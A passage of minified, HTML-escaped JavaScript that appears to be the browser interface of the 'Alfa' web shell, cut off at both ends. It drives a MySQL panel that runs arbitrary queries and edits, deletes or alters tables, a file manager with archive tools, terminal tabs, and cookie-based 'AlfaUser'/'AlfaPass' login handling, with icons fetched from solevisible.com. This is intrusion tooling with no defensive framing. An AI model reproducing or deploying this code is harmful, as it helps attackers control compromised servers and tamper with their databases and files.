textarea&#91;name=query]\").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:\"mysql_load_query_data\",db_info:{query:i},post:{alfa2:\"query\"}},function(e){0!=e.length&amp;&amp;(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector(\"#\"+a+\" .mysql-query-table\").innerHTML=e.status?e.table:\"\",alfaMysqlTabCtl({child:1,db_id:a,target:\".mysql-query-result-content\"},!0))})}function alfaMysqlReportBuilder(e,t){var a=\"\";t.status||(a=\"&lt;div>&lt;span>Error: &lt;\/span>&lt;div style='padding-left: 50px;'>&lt;pre>\"+t.error+\"&lt;\/pre>&lt;\/div>&lt;\/div>\");var i=\"&lt;div>&lt;span>Query:&lt;\/span>&lt;div style='padding-left: 50px;'>&lt;pre>\"+t.query+\"&lt;\/pre>&lt;\/div>\"+a+\"&lt;\/div>\";d.querySelector(\"#\"+e+\" .mysql-query-reporter\").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute(\"db_id\"),a=(t=e.getAttribute(\"db_id\"),d.querySelector(\"#\"+t)),i=a.querySelector(\".tables-panel-ctl\");\"none\"==i.getAttribute(\"mode\")?(a.querySelector(\".mysql-tables\").style.display=\"block\",i.setAttribute(\"mode\",\"block\"),i.innerHTML=\"&amp;#x3C;&amp;#x3C;\",a.querySelector(\".mysql-query-results-fixed\").classList.remove(\"mysql-query-results-fixed\")):(a.querySelector(\".mysql-tables\").style.display=\"none\",i.setAttribute(\"mode\",\"none\"),i.innerHTML=\"&amp;#x3E;&amp;#x3E;\",a.querySelector(\".mysql-query-results\").classList.add(\"mysql-query-results-fixed\")),i.classList.toggle(\"tables-panel-ctl-min\")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute(\"db_id\"):e.db_id,i=void 0===t?e.getAttribute(\"target\"):e.target;d.querySelectorAll(\"#\"+a+\" .mysql-query-content\").forEach(function(e){e.classList.add(\"mysql-hide-content\")}),d.querySelector(\"#\"+a+\" .mysql-query-result-tabs .mysql-query-selected-tab\").classList.remove(\"mysql-query-selected-tab\"),void 0===t?e.classList.add(\"mysql-query-selected-tab\"):d.querySelector(\"#\"+a+\" .mysql-query-result-tabs div:nth-child(\"+e.child+\")\").classList.add(\"mysql-query-selected-tab\"),d.querySelector(\"#\"+a+\" \"+i).classList.remove(\"mysql-hide-content\")}function alfaLoadTableData(e,t){var a=e.getAttribute(\"db_target\"),i=e.getAttribute(\"db_id\");alfaMysqlApi({db_id:i,db_target:a,ajax_id:\"mysql_load_table_data\",db_info:{table:t},post:{alfa2:\"load_data\"}},function(e){if(0!=e.length){e=JSON.parse(e);var l=\"\",r=\"&lt;table border='1'>&lt;tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'>&lt;th>Column&lt;\/th>&lt;th>Type&lt;\/th>&lt;th>Value&lt;\/th>&lt;\/tr>\",o=\"&lt;table border='1'>&lt;tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'>&lt;th>Column&lt;\/th>&lt;th>Type&lt;\/th>&lt;th>Value&lt;\/th>&lt;th>Change&lt;\/th>&lt;\/tr>\",n=\"&lt;table border='1'>&lt;tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'>&lt;th>Column&lt;\/th>&lt;th>Type&lt;\/th>&lt;th>Collation&lt;\/th>&lt;th>Operator&lt;\/th>&lt;th>Value&lt;\/th>&lt;\/tr>\",s=&#91;\"int\",\"smallint\",\"bigint\",\"tinyint\",\"mediumint\"],c=&#91;\"longtext\",\"text\",\"mediumtext\",\"tinytext\"];for(var u in e.columns){var p=\"text\";-1!=s.indexOf(e.columns&#91;u].data_type)&amp;&amp;(p=\"number\"),n+=\"&lt;tr>&lt;th style='text-align: left;'>\"+e.columns&#91;u].name+\"&lt;\/th>&lt;td>\"+e.columns&#91;u].type+\"&lt;\/td>&lt;td>\"+e.columns&#91;u].collation+\"&lt;\/td>&lt;td>&lt;select name='\"+e.columns&#91;u].name+\"'>&lt;option value='='>=&lt;\/option>&lt;option value='!='>!=&lt;\/option>&lt;option value='>'>&amp;gt;&lt;\/option>&lt;option value='>='>&amp;gt;=&lt;\/option>&lt;option value='&lt;'>&amp;lt;&lt;\/option>&lt;option value='&lt;='>&amp;lt;=&lt;\/option>&lt;option value=\\\"= ''\\\">= ''&lt;\/option>&lt;option value=\\\"!= ''\\\">!= ''&lt;\/option>&lt;option value='LIKE'>LIKE&lt;\/option>&lt;option value='LIKE %...%'>LIKE %...%&lt;\/option>&lt;option value='NOT LIKE'>NOT LIKE&lt;\/option>&lt;option value='REGEXP'>REGEXP&lt;\/option>&lt;option value='REGEXP ^...$'>REGEXP ^...$&lt;\/option>&lt;option value='NOT REGEXP'>NOT REGEXP&lt;\/option>&lt;option value='IN (...)'>IN (...)&lt;\/option>&lt;option value='NOT IN (...)'>NOT IN (...)&lt;\/option>&lt;option value='BETWEEN'>BETWEEN&lt;\/option>&lt;option value='NOT BETWEEN'>NOT BETWEEN&lt;\/option>&lt;option value='IS NULL'>IS NULL&lt;\/option>&lt;option value='IS NOT NULL'>IS NOT NULL&lt;\/option>&lt;\/select>&lt;\/td>&lt;td>&lt;input type='\"+p+\"' name='\"+e.columns&#91;u].name+\"'>&lt;\/td>&lt;\/tr>\";var f=alfaMysqlLoadDataType(e.columns&#91;u].data_type);null==e.columns&#91;u].type_value&amp;&amp;(e.columns&#91;u].type_value=\"\"),o+=\"&lt;tr>&lt;th style='text-align: left;'>\"+e.columns&#91;u].name+\"&lt;\/th>&lt;td>&lt;select name='sel_\"+e.columns&#91;u].name+\"'>\"+f+\"&lt;\/select>&lt;\/td>&lt;td>&lt;input name='value_\"+e.columns&#91;u].name+\"' type='text' value='\"+(-1==c.indexOf(e.columns&#91;u].data_type)?e.columns&#91;u].type_value:\"\")+\"'>&lt;\/td>&lt;td>&lt;button col_name='\"+e.columns&#91;u].name+\"' tbl_name='\"+t+\"' db_id='\"+i+\"' db_target='\"+a+\"' onclick='alfaMysqlAlterTbl(this);return false;'>Change&lt;\/button>&lt;\/td>&lt;\/tr>\";var m=\"\";switch(e.columns&#91;u].data_type){case\"longtext\":case\"text\":m=\"&lt;textarea name='\"+e.columns&#91;u].name+\"' rows='5'>&lt;\/textarea>\";break;case\"int\":case\"smallint\":case\"bigint\":m=\"&lt;input type='number' name='\"+e.columns&#91;u].name+\"' value=''>\";break;default:m=\"&lt;input type='text' name='\"+e.columns&#91;u].name+\"' value=''>\"}r+=\"&lt;tr>&lt;th style='text-align: left;'>\"+e.columns&#91;u].name+\"&lt;\/th>&lt;td>\"+e.columns&#91;u].type+\"&lt;\/td>&lt;td>\"+m+\"&lt;\/td>&lt;\/tr>\"}if(r+=\"&lt;\/table>&lt;div style='margin-left:20px;'>&lt;button tbl_name='\"+t+\"' db_id='\"+i+\"' db_target='\"+a+\"' onclick='alfaMysqlUpdateRow(this, \\\"insert\\\");return false;'>Insert&lt;\/button>&lt;\/div>&lt;div class='mysql-insert-result'>&lt;\/div>\",o+=\"&lt;\/table>&lt;div class='mysql-structure-qres'>&lt;\/div>\",n+=\"&lt;\/table>&lt;div style='padding-left: 384px;margin-top: 15px;'>&lt;button tbl_name='\"+t+\"' db_id='\"+i+\"' db_target='\"+a+\"' onclick='alfaMysqlSearch(this);return false;'>Search&lt;\/button>&lt;\/div>\",e.pages>0){l+=\"&lt;span style='cursor:pointer;' db_id='\"+i+\"' onclick='alfaMysqlChangePage(this,1);'>&lt;&lt;&lt;\/span> &lt;span> page: &lt;\/span> &lt;select tbl_name='\"+t+\"' db_target='\"+a+\"' name='mysql-q-pages' db_id='\"+i+\"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='\"+e.pages+\"'>\";for(var b=1;b&lt;e.pages+1;b++)l+=\"&lt;option>\"+b+\"&lt;\/option>\";l+=\"&lt;\/select>&lt;span> Of \"+e.pages+\"&lt;\/span> &lt;span style='cursor:pointer;' db_id='\"+i+\"' onclick='alfaMysqlChangePage(this,2);'>>>&lt;\/span>\"}var y=d.querySelector(\"#\"+i);y.querySelector(\".mysql-search-area\").innerHTML=n,y.querySelector(\".mysql-insert-row\").innerHTML=r,y.querySelector(\".mysql-edit-row\").innerHTML=\"\",y.querySelector(\".mysql-structure\").innerHTML=o,y.querySelector(\".mysql-query-result-header .mysql-query-pager\").innerHTML=l,y.querySelector(\".mysql-query-table\").innerHTML=e.status?e.table:\"\",alfaMysqlTabCtl({child:1,db_id:i,target:\".mysql-query-result-content\"},!0),d.querySelector(\"#\"+i+\" .mysql-query-result-tabs div:nth-child(6)\").style.display=\"none\",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute(\"db_target\"),a=e.getAttribute(\"db_id\"),i=d.querySelector(\"#\"+a),l=e.getAttribute(\"tbl_name\"),r=e.getAttribute(\"col_name\"),o={};o.type=i.querySelector(\".mysql-structure select&#91;name=sel_\"+r+\"]\").value,o.input=i.querySelector(\".mysql-structure input&#91;name=value_\"+r+\"]\").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:\"mysql_table_alter\",db_info:{table:l,column:r,alter:o},post:{alfa2:\"alter\"}},function(e){var t=d.querySelector(\"#\"+a+\" .mysql-structure-qres\");t.innerHTML=e,t.style.display=\"block\"})}function alfaMysqlSearch(e){var t=e.getAttribute(\"db_target\"),a=e.getAttribute(\"db_id\"),i=d.querySelector(\"#\"+a),l=e.getAttribute(\"tbl_name\"),r={};i.querySelectorAll(\".mysql-search-area input, .mysql-search-area select\").forEach(function(e){r.hasOwnProperty(e.name)||(r&#91;e.name]={}),\"SELECT\"==e.tagName?r&#91;e.name].opt=e.value:r&#91;e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:\"mysql_table_search_query\",db_info:{table:l,search:r},post:{alfa2:\"search\"}},function(e){0!=e.length&amp;&amp;(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:\".mysql-query-result-content\"},!0),d.querySelector(\"#\"+a+\" .mysql-query-table\").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var a=e.getAttribute(\"db_target\"),i=e.getAttribute(\"db_id\"),l=(d.querySelector(\"#\"+i),e.getAttribute(\"col_key\")),r=e.getAttribute(\"key\"),o=e.getAttribute(\"tbl_name\"),n=e.getAttribute(\"row_id\");alfaMysqlApi({db_id:i,db_target:a,ajax_id:\"mysql_table_edit_query\",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),\"edit\"==t){var s=\"&lt;table border='1'>&lt;tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'>&lt;th>Column&lt;\/th>&lt;th>Type&lt;\/th>&lt;th>Value&lt;\/th>&lt;\/tr>\";for(var c in e){var u=\"\";switch(e&#91;c].type.tag){case\"textarea\":u=\"&lt;textarea name='\"+e&#91;c].col+\"' rows='5'>\"+e&#91;c].value+\"&lt;\/textarea>\";break;case\"input\":u=\"&lt;input type='\"+e&#91;c].type.type+\"' name='\"+e&#91;c].col+\"' value='\"+e&#91;c].value+\"'>\"}s+=\"&lt;tr>&lt;th style='text-align: left;'>\"+e&#91;c].col+\"&lt;\/th>&lt;td>\"+e&#91;c].type.col_type+\"&lt;\/td>&lt;td>\"+u+\"&lt;\/td>&lt;\/tr>\"}s+=\"&lt;\/table>&lt;div style='margin-left:20px;'>&lt;button col_key='\"+l+\"' key='\"+r+\"' tbl_name='\"+o+\"' db_id='\"+i+\"' db_target='\"+a+\"' onclick='alfaMysqlUpdateRow(this, \\\"edit\\\");return false;'>Update&lt;\/button>&lt;\/div>&lt;div class='mysql-update-result'>&lt;\/div>\",d.querySelector(\"#\"+i+\" .mysql-edit-row\").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:\".mysql-edit-row\"},!0),d.querySelector(\"#\"+i+\" .mysql-query-result-tabs div:nth-child(6)\").style.display=\"inline-block\"}else\"delete\"==t&amp;&amp;(e.status?d.querySelector(\"#\"+i+\" .tbl_row_l\"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute(\"db_id\");d.querySelectorAll(\"#\"+t+\" .mysql-main input&#91;name=tbl_rows_checkbox\\\\&#91;\\\\]]\").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute(\"db_id\"),a=e.getAttribute(\"db_target\"),i=e.getAttribute(\"col_key\"),l=e.getAttribute(\"tbl_name\"),r=&#91;];if(d.querySelectorAll(\"#\"+t+\" .mysql-main input&#91;name=tbl_rows_checkbox\\\\&#91;\\\\]]\").forEach(function(e){e.checked&amp;&amp;r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:\"mysql_table_delete_all_query\",db_info:{table:l,col_key:i,rows:r},post:{alfa2:\"delete_all\"}},function(e){if(\"\"!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector(\"#\"+t);d.querySelectorAll(\"#\"+t+\" .mysql-main input&#91;name=tbl_rows_checkbox\\\\&#91;\\\\]]\").forEach(function(e){e.checked&amp;&amp;(a=e.getAttribute(\"row_id\"),i.querySelector(\".tbl_row_l\"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute(\"db_target\"),i=e.getAttribute(\"db_id\"),l=d.querySelector(\"#\"+i),r=\".mysql-insert-row\",o=\".mysql-insert-result\",n=\"mysql_table_insert_query\",s=\"insert\",c={table:e.getAttribute(\"tbl_name\")};if(\"edit\"==t){var u=e.getAttribute(\"col_key\"),p=e.getAttribute(\"key\");r=\".mysql-edit-row\",o=\".mysql-update-result\",n=\"mysql_table_update_query\",s=\"update\",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+\" input, \"+r+\" textarea\").forEach(function(e){f.hasOwnProperty(e.name)||(f&#91;e.name]={}),f&#91;e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector(\"#\"+i+\" \"+o);t.style.display=\"block\",e.status?t.innerHTML=\"Success...\":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=&#91;\"INT\",\"VARCHAR\",\"TEXT\",\"DATE\",{key:\"Numeric\",vals:&#91;\"TINYINT\",\"SMALLINT\",\"MEDIUMINT\",\"INT\",\"BIGINT\",\"-\",\"DECIMAL\",\"FLOAT\",\"DOUBLE\",\"REAL\",\"-\",\"BIT\",\"BOOLEAN\",\"SERIAL\"]},{key:\"Date and time\",vals:&#91;\"DATE\",\"DATETIME\",\"TIMESTAMP\",\"TIME\",\"YEAR\"]},{key:\"String\",vals:&#91;\"CHAR\",\"VARCHAR\",\"-\",\"TINYTEXT\",\"TEXT\",\"MEDIUMTEXT\",\"LONGTEXT\",\"-\",\"BINARY\",\"VARBINARY\",\"-\",\"TINYBLOB\",\"MEDIUMBLOB\",\"BLOB\",\"LONGBLOB\",\"-\",\"ENUM\",\"SET\"]},{key:\"Spatial\",vals:&#91;\"GEOMETRY\",\"POINT\",\"LINESTRING\",\"POLYGON\",\"MULTIPOINT\",\"MULTILINESTRING\",\"MULTIPOLYGON\",\"GEOMETRYCOLLECTION\"]},{key:\"JSON\",vals:&#91;\"JSON\"]}],a=\"\",i=!1;for(var l in t)if(\"object\"==typeof t&#91;l]){for(var r in a+='&lt;optgroup label=\"'+t&#91;l].key+'\">',t&#91;l].vals)a+=\"&lt;option\"+(t&#91;l].vals&#91;r]!=e||i?\"\":\" selected\")+\">\"+t&#91;l].vals&#91;r]+\"&lt;\/option>\",t&#91;l].vals&#91;r]==e&amp;&amp;(i=!0);a+=\"&lt;\/optgroup>\"}else a+=\"&lt;option\"+(t&#91;l]!=e||i?\"\":\" selected\")+\">\"+t&#91;l]+\"&lt;\/option>\",t&#91;l]==e&amp;&amp;(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute(\"db_id\"),i=0;if(void 0!==t){e=d.querySelector(\"#\"+a+\" select&#91;name=mysql-q-pages]\");var l=parseInt(e.getAttribute(\"pages\"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l&lt;i)return!1;e.value=i}else i=e.value;var r=e.getAttribute(\"db_target\"),o=e.getAttribute(\"tbl_name\");alfaMysqlApi({db_id:a,db_target:r,ajax_id:\"mysql_table_change_page\",db_info:{table:o,page:i},post:{alfa2:\"page\"}},function(e){0!=e.length&amp;&amp;(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector(\"#\"+a+\" .mysql-query-table\").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+\"=;Max-Age=0; path=\/;\"}function alfaLogOut(){alfaRemoveCookie(\"AlfaUser\"),alfaRemoveCookie(\"AlfaPass\"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:\"alert-success\",icon:\"http:\/\/solevisible.com\/icons\/menu\/check-mark1.svg\"},error:{class:\"alert-error\",icon:\"http:\/\/solevisible.com\/icons\/menu\/warning.svg\"}},this.show=function(a){if(\"\"===a||null==a)throw'\"msg parameter is empty\"';var i=document.querySelector(e),l=document.createElement(\"DIV\"),r=document.createElement(\"DIV\"),o=document.createElement(\"DIV\"),n=document.createElement(\"A\"),s=document.createElement(\"div\"),c=document.createElement(\"IMG\"),d=this;if(s.style.display=\"inline-block\",s.style.marginRight=\"10px\",r.style.display=\"inline-block\",o.classList.add(\"alert-content\"),o.innerText=a,n.classList.add(\"alert-close\"),n.setAttribute(\"href\",\"#\"),l.classList.add(\"alert-box\"),c.src=this.types&#91;t.type].icon,c.style.width=\"30px\",s.appendChild(c),l.appendChild(s),t.hasOwnProperty(\"title\")){var u=document.createElement(\"DIV\");u.classList.add(\"alert-content-title\"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&amp;&amp;void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty(\"type\")&amp;&amp;l.classList.add(this.types&#91;t.type].class),i.appendChild(l),n.addEventListener(\"click\",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add(\"hide\");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&amp;&amp;(a=\"success\"),void 0===i&amp;&amp;(i=!1),void 0===l&amp;&amp;(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&amp;&amp;(r.title=t),new alfaAlertBox(\"#alert-area\",r).show(e)}function alfaSyncMenuToOpt(e,t){var a=\"\",i=\"\",l=null;void 0!==t?(a=\"view_archive\",i=e,l=location):(a=e.name,i=e.getAttribute(\"fname\"),l=e),\"extract\"==a?(alfa_can_add_opt=!0,l.href=\"#action=options&amp;path=\"+c_+\"&amp;opt=deziper\",g(\"deziper\",null,\"\",\"\",c_+\"\/\"+i),d.querySelector(\".opt-title\").innerHTML=\"DeCompressor\"):\"compress\"==a?(alfa_can_add_opt=!0,l.href=\"#action=options&amp;path=\"+c_+\"&amp;opt=ziper\",g(\"ziper\",null,\"\",\"\",c_+\"\/\"+i),d.querySelector(\".opt-title\").innerHTML=\"Compressor\"):\"view_archive\"==a&amp;&amp;(alfa_can_add_opt=!0,l.href=\"#action=options&amp;path=\"+c_+\"&amp;opt=archive_manager\",g(\"archive_manager\",null,\"\",c_+\"\/\"+i,\"\"),d.querySelector(\".opt-title\").innerHTML=\"Archive Manager\")}function doFilterName(e){var t=\"#filesman_holder_\"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,\"i\");d.querySelectorAll(t+\" .fmanager-row\").forEach(function(e){-1==e.querySelector(\".main_name\").getAttribute(\"fname\").search(a)?e.style.display=\"none\":e.style.display=\"table-row\"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options&#91;e.selectedIndex].value,2012),g(\"FilesMan\",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$(\"database_window\").style.display=\"block\",void 0===t){try{d.querySelector(\".sql-content.sql-active-content\").classList.remove(\"sql-active-content\")}catch(e){}try{d.querySelector(\".sql-tabname.sql-active-tab\").classList.remove(\"sql-active-tab\")}catch(e){}try{d.querySelector(\".sql-tabs .sql-newtab\").remove()}catch(e){}var i=\"id_db_\"+getRandom(10);d.querySelector(\"#database_window .content_options_holder .sql-contents\").insertAdjacentHTML(\"afterbegin\",'&lt;div id=\"'+i+'\" class=\"sql-content sql-active-content\">'+e+\"&lt;\/div>\"),d.querySelector(\"#database_window .content_options_holder .sql-tabs\").insertAdjacentHTML(\"beforeend\",'&lt;div id=\"tab_'+i+'\" opt_id=\"'+i+'\" class=\"sql-tabname sql-active-tab\" onclick=\"dbTabController(this);\">&lt;span style=\"font-weight:unset;\">New DB Connection&lt;\/span> &lt;img opt_id=\"'+i+'\" onclick=\"closeDatabase(this,event);return false;\" title=\"&#91;close]\" src=\"http:\/\/solevisible.com\/icons\/menu\/delete.svg\">&lt;\/div>&lt;div class=\"sql-newtab\" onclick=\"alfa_can_add_opt=true;g(\\'sql\\',null,\\'\\',\\'\\',\\'\\');\" style=\"background-color:#800000;\">&lt;span style=\"font-weight:unset;\">New Tab +&lt;\/span>&lt;\/div>'),$(i).querySelectorAll(\".db-opt-id\").forEach(function(e){e.setAttribute(\"db_id\",i)});try{$(i).querySelector(\".getconfig\").setAttribute(\"base_id\",i)}catch(e){}return i}$(t).innerHTML=e;var l=$(\"tab_\"+t);null!=l&amp;&amp;((-1==l.classList.value.indexOf(\"sql-active-tab\")||database_window_is_minimized)&amp;&amp;(l.classList.add(\"tab-is-done\"),alfaShowNotification(\"proccess is done...\",\"DB: \"+l.innerText)),database_window_is_minimized&amp;&amp;alfaUpdateOptionsBadge(\"database_window\")),void 0!==mysql_cache&#91;t]&amp;&amp;mysql_cache&#91;t].hasOwnProperty(\"db\")&amp;&amp;mysql_cache&#91;t].db.length>0&amp;&amp;\"update\"!=a&amp;&amp;(d.querySelector(\"#tab_\"+t+\">span\").innerHTML=mysql_cache&#91;t].db),$(t).querySelectorAll(\".db-opt-id\").forEach(function(e){e.setAttribute(\"db_id\",t)});try{$(t).querySelector(\".getconfig\").setAttribute(\"base_id\",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow=\"hidden\")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id=\"\",$(\"options_window\").style.display=\"block\";var a=$(\"option_\"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(\".options_holder.option_is_active\").classList.remove(\"option_is_active\")}catch(e){}var i=\"\",l=$(\"menu_opt_\"+e).innerHTML;\"market\"==e?l=\"Alfa Market\":\"GetDisFunc\"==e&amp;&amp;(l=\"Disable Functions\");try{d.querySelector(\"#options_window .content_options_holder .options_tab .tab_name.tab_is_active\").classList.remove(\"tab_is_active\")}catch(e){}if(null!=a){var r=a.getAttribute(\"opt_count\");null!=r?(i=parseInt(r)+1,a.setAttribute(\"opt_count\",i)):(i=1,a.setAttribute(\"opt_count\",i))}var o=\"option_\"+e+i;d.querySelector(\"#options_window .content_options_holder .options_content\").insertAdjacentHTML(\"afterbegin\",'&lt;div id=\"'+o+'\" class=\"options_holder\">'+t+\"&lt;\/div>\"),d.querySelector(\"#options_window .content_options_holder .options_tab\").insertAdjacentHTML(\"beforeend\",'&lt;div opt_id=\"'+o+'\" onclick=\"optionsTabController(this);\" title=\"'+l+'\" id=\"tab_'+o+'\" class=\"tab_name tab_is_active\">'+l+' &lt;img opt_id=\"'+o+'\" onclick=\"closeOption(this,event);return false;\" title=\"&#91;close]\" src=\"http:\/\/solevisible.com\/icons\/menu\/delete.svg\">&lt;\/div>'),$(o).classList.toggle(\"option_is_active\"),d.querySelectorAll(\"#\"+o+\" form, #\"+o+\" a\").forEach(function(t){var a=t.classList.value;if(\"getconfig\"==a||\"rejectme\"==a)return!1;if(\"FORM\"==t.tagName){var l=t.getAttribute(\"onsubmit\");t.setAttribute(\"onsubmit\",'alfaBeforeDoAction(\"'+e+i+'\");'+l),t.setAttribute(\"opt_id\",e+i)}else{l=t.getAttribute(\"onclick\");t.setAttribute(\"onclick\",'alfaBeforeDoAction(\"'+e+i+'\");'+l)}});try{$(o).querySelector(\".getconfig\").setAttribute(\"base_id\",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$(\"tab_option_\"+e);null!=n&amp;&amp;((-1==n.classList.value.indexOf(\"tab_is_active\")||options_window_is_minimized)&amp;&amp;(n.classList.add(\"tab-is-done\"),alfaShowNotification(\"proccess is done...\",n.innerText)),options_window_is_minimized&amp;&amp;alfaUpdateOptionsBadge(\"options_window\")),d.querySelectorAll(\"#option_\"+e+\" form, #option_\"+e+\" a\").forEach(function(t){var a=t.classList.value;if(\"getconfig\"==a||\"rejectme\"==a)return!1;if(\"FORM\"==t.tagName){var i=t.getAttribute(\"onsubmit\");t.setAttribute(\"onsubmit\",'alfaBeforeDoAction(\"'+e+'\");'+i),t.setAttribute(\"opt_id\",e)}else{i=t.getAttribute(\"onclick\");t.setAttribute(\"onclick\",'alfaBeforeDoAction(\"'+e+'\");'+i)}});try{a.querySelector(\".getconfig\").setAttribute(\"base_id\",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow=\"hidden\")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$(\"a_loader\").style.display=e,d.body.style.overflow=\"block\"==e?\"hidden\":\"visible\"}function alfaAjaxController(e){var t=e.getAttribute(\"parent\");$(\"loader_\"+t).remove(),\"filesman_holder\"==t.substr(0,15)&amp;&amp;($(t).style.minHeight=\"0\"),_ALFA_AJAX_.hasOwnProperty(t)&amp;&amp;_ALFA_AJAX_&#91;t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute(\"opt_id\");if($(a).remove(),-1!=$(\"tab_\"+a).classList.value.indexOf(\"sql-active-tab\"))if((e=d.querySelectorAll(\".sql-tabs .sql-tabname\")).length>1){e&#91;0].classList.add(\"sql-active-tab\");var i=e&#91;0].getAttribute(\"opt_id\");null!=$(i)&amp;&amp;$(i).classList.toggle(\"sql-active-content\")}else editorClose(\"database_window\");d.querySelector(\"div&#91;opt_id=\"+a+\"]\").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute(\"fm_id\"),i=$(\"filesman_tab_\"+a);if(-1!=i.classList.value.indexOf(\"filesman-tab-active\")&amp;&amp;(e=d.querySelectorAll(\"#filesman_tabs .filesman_tab\")).length>1){e&#91;0].classList.add(\"filesman-tab-active\");var l=e&#91;0].getAttribute(\"fm_id\"),r=\"filesman_holder_\"+l;if(null!=$(r)){$(r).classList.toggle(\"filesman-active-content\");var o=$(\"filesman_tab_\"+l).getAttribute(\"path\");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$(\"filesman_holder_\"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute(\"opt_id\");if($(a).remove(),-1!=$(\"tab_\"+a).classList.value.indexOf(\"tab_is_active\"))if((e=d.querySelectorAll(\".options_tab .tab_name\")).length>1){e&#91;0].classList.add(\"tab_is_active\");var i=e&#91;0].getAttribute(\"opt_id\");null!=$(i)&amp;&amp;$(i).classList.toggle(\"option_is_active\")}else editorClose(\"options_window\");d.querySelector(\"div&#91;opt_id=\"+a+\"]\").remove()}function historyPanelController(e){\"hidden\"==e.getAttribute(\"mode\")?(d.querySelector(\".editor-explorer\").style.display=\"block\",d.querySelector(\".editor-modal\").style.marginLeft=\"20%\",e.setAttribute(\"mode\",\"visible\"),e.style.left=\"19%\",e.innerHTML=\"&lt;&lt;\"):(d.querySelector(\".editor-explorer\").style.display=\"none\",d.querySelector(\".editor-modal\").style.marginLeft=\"1%\",e.setAttribute(\"mode\",\"hidden\"),e.style.left=\"0%\",e.innerHTML=\">>\")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute(\"term_id\");if(($(a).remove(),-1!=$(\"tab_\"+a).classList.value.indexOf(\"active-terminal-tab\"))&amp;&amp;(e=d.querySelectorAll(\".terminal-tabs .terminal-tab\")).length>1){e&#91;0].classList.add(\"active-terminal-tab\");var i=e&#91;0].getAttribute(\"term_id\");null!=$(i)&amp;&amp;$(i).classList.toggle(\"active-terminal-content\")}d.querySelector(\"div&#91;term_id=\"+a+\"]\").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute(\"opt_id\");if(($(a).remove(),-1!=$(\"tab_\"+a).classList.value.indexOf(\"editor-tab-active\"))&amp;&amp;(e=d.querySelectorAll(\".editor-tabs .editor-tab-name\")).length>1){e&#91;0].classList.add(\"editor-tab-active\");var i=e&#91;0].getAttribute(\"opt_id\");null!=$(i)&amp;&amp;$(i).classList.toggle(\"editor-content-active\")}d.querySelector(\"div&#91;opt_id=\"+a+\"]\").remove()}function optionsTabController(e){try{d.querySelector(\".options_holder.option_is_active\").classList.remove(\"option_is_active\")}catch(e){}var t=e.getAttribute(\"opt_id\");if(null==t)return!1;$(t).classList.toggle(\"option_is_active\");try{d.querySelector(\"#options_window .content_options_holder .options_tab \\t.tab_name.tab_is_active\").classList.remove(\"tab_is_active\")}catch(e){}e.classList.remove(\"tab-is-done\"),e.classList.add(\"tab_is_active\"),d.querySelector(\".opt-title\").innerHTML=e.getAttribute(\"title\"),alfaUpdateOptionsBadge(\"options_window\")}function terminalTabController(e){try{d.querySelector(\".terminal-tab.active-terminal-tab\").classList.remove(\"active-terminal-tab\")}catch(e){}try{d.querySelector(\".terminal-content.active-terminal-content\").classList.remove(\"active-terminal-content\")}catch(e){}var 